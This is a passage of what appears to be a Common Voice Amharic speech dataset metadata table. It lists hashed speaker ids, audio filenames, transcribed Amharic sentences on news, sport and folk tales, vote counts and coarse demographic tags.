630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37791305.mp3 5f4011b65b34d531bed6588834452464414d7e84e656987852a780c60b14ac57 ለዚህ ነው የልጅ ልጄም ቢሆን ሽማግሌና ደካማ የሆነው፡፡ ለዚህም ነው ነገሮች የተገላቢጦሽ የሆኑት፡፡ 2 0 thirties male_masculine am
|
| 134 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37791306.mp3 400cc81a04fc3b8a9985e49901fe68fdc8ae0a5fbdee25d0fc71f12a21a12b66 የኢድ አልፈጥር በዓል የኢድ ሶላት ስነ ስርዓት በሰላም መጠናቀቁን የፀጥታና ደህንነት የጋራ ግብረ ሐይል አስታወቀ። 2 0 thirties male_masculine am
|
| 135 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802157.mp3 66319aae659d04a8fc41c82de724d33d25cbf6f50afa758bd488725a7baf33ac ከዩኒቨርስቲ አማካሪዎች እንዲሁም የሙያ አሰልጣኞች ጋር ተነጋገሩ። 2 0 thirties male_masculine am
|
| 136 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802159.mp3 657882f26af0a63892d633673c8d56a03fc6b8ebedb6f203fab16d043d9273b6 ኡሁሩ ኬንያታ የቀድሞ የደቡብ አፍሪካ ምክትል ፕሬዝዳንት ኮንዚሌ የምሥራቅ አፍሪካ የልማት በይነ መንግሥታት ድርጅት ተመስግነዋል 2 0 thirties male_masculine am
|
| 137 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802160.mp3 206ac51990881ed98e6c3b822374fe9f40ed5cbbc36c2b2fc94db9762b5b6050 ከአንድ ሳምንታት በፊት በኬንያ ምሥራቃዊ ክፍል ኪሊፊ በሚባለው የባሕር ዳርቻ ግዛት ተመሳሳይ ነገር ተፈጥሯል 2 0 thirties male_masculine am
|
| 138 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802162.mp3 5be21b6e4cc5c992d102eb31fe908a5a6f45fdb17052abcc51dbd41ea46c824f እያሳደዱኝ ነበር፡፡ 2 1 thirties male_masculine am
|
| 139 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802164.mp3 724d982f23a7b82b01a639de7a109329ab95a41fb82816144b3f071440c4321e አባታቸው እና ወንድማቸው የሲሚላኔን መቀበር ሳያዩ አልፈዋል ነገር ግን እናታቸው አስከሬኗ ተገኝቶ እንደሚቀብሯት ተስፋ ያደርጋሉ። 2 0 thirties male_masculine am
|
| 140 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802191.mp3 1e575c1c9da4980865bd84a2ba7bae8e458ca7d50ee084f01c6332e2efc9b640 ናታንያሁ ራሳቸው ጉቦ በመስጠት እመነት በማጉደልና በሙስና ያልተቋጨ ክስ አለባቸው። 2 0 thirties male_masculine am
|
| 141 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802192.mp3 2140834c6a8c351d2768cc2f4cf1006ab8e5a9f832ae9ad1e09526f28d0274a0 ቀነኒሳ የማራቶን ሪኮርድ ባለቤት ከሆነው ኬንያዊው ኢሉዩድ ኪፕቾጌ በቀመጠል ሁለተኛው የዓለማችን ፈጣን የማራቶን ሰዓትን አስመዝግቧል። 2 0 thirties male_masculine am
|
| 142 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802193.mp3 08b29276bab21127bbf72bfecf3f662c7f4ae7952fcb501f4486369c6270fd7d ከዚያም ለምን ወደእርሱ እንደመጡ ሲጠይቃቸው ነገሩት፡፡ 2 0 thirties male_masculine am
|
| 143 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802195.mp3 474fc2a9493a2b6372a68838434bcf2192ac9d50532a0fa15ffdb4a34e3da757 ይህ አንድን ሃገር ለመጠበቅና ለመከላከል አቅም አይሰጥም ሲሉ ያክላሉ። 2 0 thirties male_masculine am
|
| 144 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802197.mp3 11b3539df8f20991eeef2b097890b7a3be98184de546d5f16dccfcc841282d6b ነገር ግን አሁንም ሚሊዮኖች ባለፈው ዓመት ከዘመናት በኋላ ከሞስኮው የተገነጠለው የዩክሬን ኦርቶዶክስ ቤተክርስትያን ተከታዮች ናቸው። 2 0 thirties male_masculine am
|
| 145 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802219.mp3 6e5c1e27d043d61f169e56750399f8f7fefcecec2d77ff38ced7bffbd79eaaf3 ስምንቱም ወንድማማቾች እንደርሱ ጀግና አለመሆናቸው እንደማያስደስታቸው ለእናታቸው ነገሯት፡፡ 2 0 thirties male_masculine am
|
| 146 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802220.mp3 7704b2baa60584affbedeaeeb48a58dc83c262debf9661c62840a4e000c9cc1c ድሮ ልጆች መልካም ነበሩ��፡ 2 0 thirties male_masculine am
|
| 147 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802221.mp3 2520f5563c3319bea1c5b2d7a9132cb5feec561f4b2e7f3bb6b08e0e711173ae ልጅ ሀገሯን በቅጡ ሳታውቅ የዘር ጭፍጨፋው ሸሽታ ፈረንሣይ ገብታ ሌላ ሰው ከመሆን ጠርዝ ላይ ደረሰች። 2 0 thirties male_masculine am
|
| 148 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802222.mp3 4999f90b6a7a96321c6cb63bfe88532ca562e3d4d0d0e5df8e0e70800ba479dc የአምነስቲ የምሥራቅ እና ደቡብ አፍሪካ ምክትል ዳይሬክተር ፍላቪያ ምዋንጎቪ መናገራቸው ሰፍሯል። 2 0 thirties male_masculine am
|
| 149 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802244.mp3 40c8ead0ddadb7c79ad051df445fe2344d8d916095b321464390542abc1246a5 ከተማዋ የማያቋርጥ የፍንዳታ ድምጽ በብርሃን ቢሞላትም የህይወት እንቅስቃሴዎች ቀጥለዋል። 2 0 thirties male_masculine am
|
| 150 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802245.mp3 24c57a84dddd6e9fe8b7e76ac350a9b1d92c0aec85567545cf918d3fbc43ad85 ፓስተር ማኬንዚ ንቴንጌ የተባለ የሃይማኖት ሰባኪ በፖሊስ ቁጥጥር ሥር ውሏል 2 0 thirties male_masculine am
|
| 151 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802246.mp3 16c97f15e96e550b398c867bf93da41fb499b13c5954e4b34f1862dcfb692e8c ከዚህ ኦፕሬሽን በፊት የቢቢሲ የአሜሪካ አጋር ሲቢኤስ ኒውስ ሰባ የመንግሥት ሠራተኞችን ለማስወጣት ዕቅድ እንዳለ ዘግቧል። 2 0 thirties male_masculine am
|
| 152 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802247.mp3 6452f8b089a074ef2aa953e60680f5065255f535083572f27c3a8272693beaf1 ባለፉት ስድስት ወራት ብቻ ሁለት ቢሊዮን ዶላር የውጪ ቀጥታ ኢንቨስትመንት መሳብ መቻሉም ተመላክቷል። 2 0 thirties male_masculine am
|
| 153 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802248.mp3 718eeb4d58954c5c45ecdab1b7e3573fd50811efe5db2f6f6dc9028b6791460f ዛሬ የተካሄደውን የማራቶን ውድድር በሴቶች አትሌት ሲፈን ሀሰን አሸንፋለች፡፡ 2 0 thirties male_masculine am
|
| 154 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802259.mp3 49ef0d08b03008795eb5d75c809944e8209b0d86c1f32d47fdeaac77e0e40e3e ከአፍሪካ ኅብረት ከፍተኛ ተወካዮች መካከል አንዱ በመሆኑን ሁለቱን ተዋጊ ኃይሎች ሲያደራድሩ የነበሩት የኬንያው ፕሬዝዳንት ነበሩ 2 0 thirties male_masculine am
|
| 155 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802261.mp3 4234fc22d539c236246abff4f17c01fb7c0ef5d559c5cc8a5c621bde92e70216 ፈጥኖ ደራሽ ልዩ ኃይል ስድስት አውሮፕላኖች ዜጎችን ለማስወጣት ጥቅም ላይ እንደዋሉና ከአሜሪካ ጋር እንደተባበረም ገልጿል። 2 0 thirties male_masculine am
|
| 156 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802266.mp3 6570e8c3655df4538a354ee7bc57ed184f466dd60f2a4a556ee0ed90c9085654 ከሁለት ሰዓት ከሁለት ደቂቃ በታች የጨረሱ ሁለት አትሌቶች በአንድ ላይ ሲገናኙ ይህ ለመጀመሪያ ጊዜ ነው። 2 0 thirties male_masculine am
|
| 157 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802268.mp3 4686f91d42c0852d4fdf378fb39f93dbfab7a63b490f235bd785e6ca8c378e07 ንጉሱም ታዲያ ለምን አላመጣችሁትም አላቸው፡፡ 2 0 thirties male_masculine am
|
| 158 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802289.mp3 40e7bccfe53549291e4017a889dab5f2e155e0d9d0ccd81eade4a31d0356b6f1 አትሌት ሲፈን በትውልድ ኢትዮጵያዊ ስትሆን ለኔዘርላንድ እንደምትሮጥ ይታወቃል፡፡ 2 0 thirties male_masculine am
|
| 159 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802290.mp3 6596e2d6481f5056d870c606603b3e4098d7c24e16dc0ae9e016c2a61079bd49 በአንድ ወቅት ደግለራሱና ክፉለራሱ አብረው ጉዞ ጀመሩ፡፡ 2 0 thirties male_masculine am
|
| 160 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802291.mp3 31787a25c812ce4306acfbd457bb20452b38883ed7c0b20efeccc4b909c405d0 ቁልፍ የተከላካይ መስመር ተጫዋቾቹን በጉዳት ያጣው ዩናይትድ በዌምብሌ ፈተና እንደሚገጥመው እሰጋለሁ። 2 0 thirties male_masculine am
|
| 161 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802292.mp3 48faba57eef18b1e5aa206bcec56a9a766055879c643576ca5a5181d3168b1b4 ባሏ ቀለበቱን ለሚስቱ ሰጥቷት በጥንቃቄ እንድትይዘው ነግሯት ነበር፡፡ 2 0 thirties male_masculine am
|
| 162 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802293.mp3 640a0be1d28615b3bd7aacc88e42465455811e89ac8fd74bfe73b7394fe0a97c ጠቃሚው ነገር ለሰውነታችን የሚያስፈልገው የተመጣጠነ ምግብን በመጠኑ ማግኘት ነው። 2 0 thirties male_masculine am
|
| 163 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802308.mp3 58199ab75687306984de2c43371add227240e09a649fd1cace1ef75f6b0d187b በቀጣይ ቀናት የሁሉንም ክልሎች ርዕሳነ መስተዳድሮችን ያካተተ ቡድን ጉዞ ያደርጋል 2 0 thirties male_masculine am
|
| 164 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802310.mp3 791bd389fc3dae3a7d1b244980034d9fc9d58e672778a95bed438c526fca36aa ሁለቱም ወገኖች የዜሮ ድምር ውጤት ውስጥ ገብተዋል። 2 0 thirties male_masculine am
|
| 165 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802317.mp3 6bf7a7ae60a61445339b5f2100c60f4b4ff183ebe5270ab3591d20b2e12afcd6 በዚህ ቪዲዮ ላይ አንደኛው ግለሰብ የዩክሬንን ግዛት ምልክት ያለበትን ባጅ አድርጎም ያሳያል። 2 0 thirties male_masculine am
|
| 166 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802318.mp3 0bad63eb78c901fa5f7a0e0f608e67aa32b69f803717ba9e65687eba77299fc4 መገበያያ ገንዘቧ ከዶላር አንጻር ከግማሽ በላይ ዋጋውን አጥቷል። 2 0 thirties male_masculine am
|
| 167 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802342.mp3 33f745844216e0934f71a69c1acf2f0024b4b229796a4e1c5c87a352dc53413f ብዙ ጊዜ ሴቶች በማያዘወትሩት ሥራ ላይ በመሰማራት የማኅበረሰቡን የቆዩ የሥርዓተ ጾታ አመለካከቶችን እየተገዳደሩ ይገኛሉ። 2 0 thirties male_masculine am
|
| 168 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802344.mp3 09eb8b31a0b365b8214d4824f8160e54dd745e0a8eb2d5889f381102b685ae6c በካናዳ ታሪክ ውስጥም ከተፈጸሙ ታላላቅ ዝርፊያዎች አንዱ ነውም ተብሏል። 2 0 thirties male_masculine am
|
| 169 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802348.mp3 14541ad91ae4372a5507ffcb5e28317ba1c78d13d6e3ca9cb01f66b1f196b244 ቅዳሜ እና እሑድ ለሠራተኛ እናቶች ብርቅ የሚሆኑት ለዚሁ ይሆን 2 1 thirties male_masculine am
|
| 170 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802350.mp3 67242c960991828c7b2f2927df8d7bba7b9c05b519809bc941aaf8939af6cc23 ለምን የተለዩ እንደሆኑ ገና አልታወቀም ይላሉ ፕሮፌሰሯ። 2 0 thirties male_masculine am
|
| 171 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802624.mp3 62feb9adc1e4af8fec4060646fc1464d87ff39915dca7ff5f4d09ca92d6dec0a አንድ የቀድሞ የደኅንነት ፖሊስ በቲሞል ግድያ ቢከሰስም ለፍረድ ከመቅረቡ በፊት በዓመቱ ህይወቱ አልፏል። 2 0 thirties male_masculine am
|
| 172 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802625.mp3 662a912cbe25ba48531c8e122f4d79bd26ed63df2657548409bda2ae5da7aaf8 እነርሱም የመጀመሪያው አዋቂ ሰው እጅግ በጣም ያረጀ ስለነበረ ታላቅ ወንድም እንዳለው ሲያወቁ ተገረሙ፡፡ 2 0 thirties male_masculine am
|
| 173 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802626.mp3 573e98aa6b57b1272beb9d71f4f6515625d6a5474cd86ec5f9e6734548de7407 ሆኖም የክሊዮፓትራ ፊልም ማስተዋወቂያ ባለፈው ሳምንት መውጣቱን ተከትሎ ግብጻውያንን አወዛግቧል። 2 0 thirties male_masculine am
|
| 174 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802627.mp3 2d7aca8ec69af3d641dc25d5403537bf73742ae13f73de0e1c0853e0a3dd14ae ባደረግነው ውይይት አዎንታዊ ሂደቶችን አይተናል በማለት የአይኤምኤፍ ልዑክ ቡድን መሪ አልቫሮ ፒሪስ መናገራቸው ተጠቅሷል። 2 0 thirties male_masculine am
|
| 175 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802628.mp3 709d040116cbbd4d68a7ebdaede9d221603ebf46a5a43be2da1b2a88ceb88254 የመጀመሪያዎቹ ቀናት ከባድ ሊሆኑ ይችላሉ። 2 0 thirties male_masculine am
|
| 176 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802649.mp3 584123f2b0ae66562d895bc0b4cfedc2066440b1f375a63745939fab3332e755 ብዙ ውሃ መጠጣት የሚመከረው በቀኑ ክፍለ ጊዜ ውሃ ስለማይጠጣ ያንን ለማካካስ ነው። 2 0 thirties male_masculine am
|
| 177 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802651.mp3 786aa138bad92d94cd9c95c3d479c05d2175d793465d2bac5267e0e19cb29bef ሉላ ዳ ሲልቫ ፕሬዝዳንት ነበሩ። 2 0 thirties male_masculine am
|
| 178 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802652.mp3 109c4acdd5cd280a23e9c9234eb4afbbb9dbbc98f57c975dbe4095bc373ff0d6 ይህን የጀግና መታሰቢያ ሐውልት በማስገንባቱ በመከላከያ ሚንስቴር ስም ምስጋና አቅርበዋል፡፡ 2 0 thirties male_masculine am
|
| 179 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802653.mp3 6ef5de2ba67bb0e66596559710bd3769534e1c63988e7a9dc3fa3f59fa57ac1e ሰዎቹም ስማቸው እንዳይጠፋ በመፍራት ሶስት ስልቻ ጤፍ ሰጥተውት ጤፉን ይዞ ወደ መንደሩ ተመለሰ፡፡ 2 0 thirties male_masculine am
|
| 180 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802654.mp3 0f437c6a4de2561c119ce22b9f94cbda1884f074841cbeddedacc1979bc49a52 ሲፈን ሐሰን በመጀመሪያ የማራቶን ተሳትፎዋ የለንደን ማራቶንን አሸነፈች 2 0 thirties male_masculine am
|
| 181 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802679.mp3 046ee7f0c2e20da5ee5f7ee55fe7bb78e55718ef14a0d5d54a79147b16a113f5 በማግስቱ ጠዋት ኑ ባሌና ልጆቼ አንድ ተዓምር ላሳያችሁ አለቻቸው፡፡ 2 0 thirties male_masculine am
|
| 182 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802680.mp3 331e2c6865280e0b497489f164afca0bdba80280fe5b07fa1b20e4f712afd4dc መናገሩን እምቢ ቢሉም ባይናገሩ እንደሚሰቅላቸው ስለሚያውቁ በመጨረሻ አንድ ትንሽ ልጅ እንደነገራቸው አመኑ፡፡ 2 0 thirties male_masculine am
|
| 183 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802681.mp3 5947d2c5385ae6684a66529e15b5f80f6c7b5d9b1abd3bd1112026abf9883153 ሚሊዮኖች ትምህርት ቤት ዝር እንዳይሉ ተገድደው በየቤታቸው ተወስነው አማራጭ በሆነው የዲጂታል መንገዶች እንዲማሩ ሆነዋል። 2 0 thirties male_masculine am
|
| 184 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802682.mp3 130fa6da609064c511de44b8264cb0bd9c32bd572f55943b9921d436efe2bddd ከፍተኛ መጠን ያለውን ብድር ለማግኘት እየሞከረች መሆኑን የዜና ወኪሉ ጉዳዩን የሚያውቁ አራት ምንጮችን ጠቅሶ ዘግቧል። 2 0 thirties male_masculine am
|
| 185 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802683.mp3 2d008c1993c7038cfde17e43a7a5fe101407f67c1e6f73a68e29266a0205c54e ካይሮ ምን ዓይነት እርምጃ እንደምትወስድ እናያለን። 2 0 thirties male_masculine am
|
| 186 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802694.mp3 73a11e12ca8d9429709d6df74279f58466b6b4447cff9e3ada1dc994ccb0f378 እያዩ መሰወር እዛው ሆኖ ማጣት። 2 0 thirties male_masculine am
|
| 187 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802696.mp3 17e47eaf298a2ecd7d7654a7e781ba4861661e81a2a2ba4c3a58fb49a991708a ከመጠኑ ያለፈ ቀይ ሥጋን መመገብ ለልብ ለስትሮክ እና ለካንሰር በሽታዎች እንደሚያጋልጥም ባለሙያዎች በተደጋጋሚ ይገልጻሉ። 2 0 thirties male_masculine am
|
| 188 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802697.mp3 1f19f54d5e1ed3534b7a3b1eb20856477cbf079203ce0ccd56f8ab6719111118 ነገር ግን እንደ የትወና ጥበብ ዘርፍነቱ በተለይ እንደ ድራማ በተዋናዮች የሚቀርበውን ብቻ ይገልፃል። 2 1 thirties male_masculine am
|
| 189 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802698.mp3 73f8c64c920d49e69620d8bcd4dedceca39885c380ef4cf1bc355a103f1a1df0 ልጆቹንም ሰብስቦ እኔ አሁን አርጅቻለሁና ሞቴን የምጠብቅ ሰው ነኝ፡፡ 2 0 thirties male_masculine am
|
| 190 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802713.mp3 46dcef89aaae9e8b08ed9ca9971fadd1ed29f20eb6475a7e7140f6c769072999 የእርሻውም በሬ ስራውን በሰላም ከመስራት ይልቅ በቀንዱ ይወጋዋል፡፡ 2 0 thirties male_masculine am
|
| 191 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802714.mp3 657e8ac0ae95427f820a7cde1ffab552edb353c94d29ad9a378615523da10b28 በዚህም ሳቢያ በሰዎች ላይ የሕይወት እና የአካል ጉዳት መድረሱ የተዘገበ ሲሆን በርካቶችም ለእስር ተዳርገዋል። 2 0 thirties male_masculine am
|
| 192 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802715.mp3 6d8dbbe68a90d191ef46bd70a5de726c5f415447d86354f156a632db7cd484d7 ስለ ክርስቶስ መምጣት ለአዳም ልጆች የመሥዋዕት በግ ሆኖ ስለመቅረቡና ሞቶ ስለ መነሣቱ አስቀድሞ ትንቢቶች ተነግረዋል። 2 0 thirties male_masculine am
|
| 193 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802735.mp3 4046bda02444d8920a8fb3ee5698d0e03b29023876aae6f755f743f7241bb124 ቅንነት በጎደለው ዕውቀት ለተሞሉ ሰዎች ሙሉ ጊዜያቸውን መስጠት ከጀመሩ ሩጫችን ወደ ርምጃ መለወጡ አይቀርም። 2 0 thirties male_masculine am
|
| 194 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802736.mp3 5aaa60e6bd2e9d440e47b05a2f3877d12c8b443781dbe77804fb6b46e13b048a በታሪክ አጋጣሚ የተፈጠሩ የትናንት መቆራቆሶች የነገ ተስፋችንን እንዳያጨልሙ 2 0 thirties male_masculine am
|
| 195 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802737.mp3 65d74e7d85d7e967d1ef813b4fd584d8af469c9dfc90a645b34effc8b57cde40 ጠቅላይ ሚኒስትር ዐቢይ አሕመድ ቦሌ አውሮፕላን ማረፊያ በመገኘት ለፕሬዚዳንት ሐሰን ሼክ መሐመድ አሸኛኘት አድርገውላቸዋል፡፡ 2 0 thirties male_masculine am
|
| 196 |
+
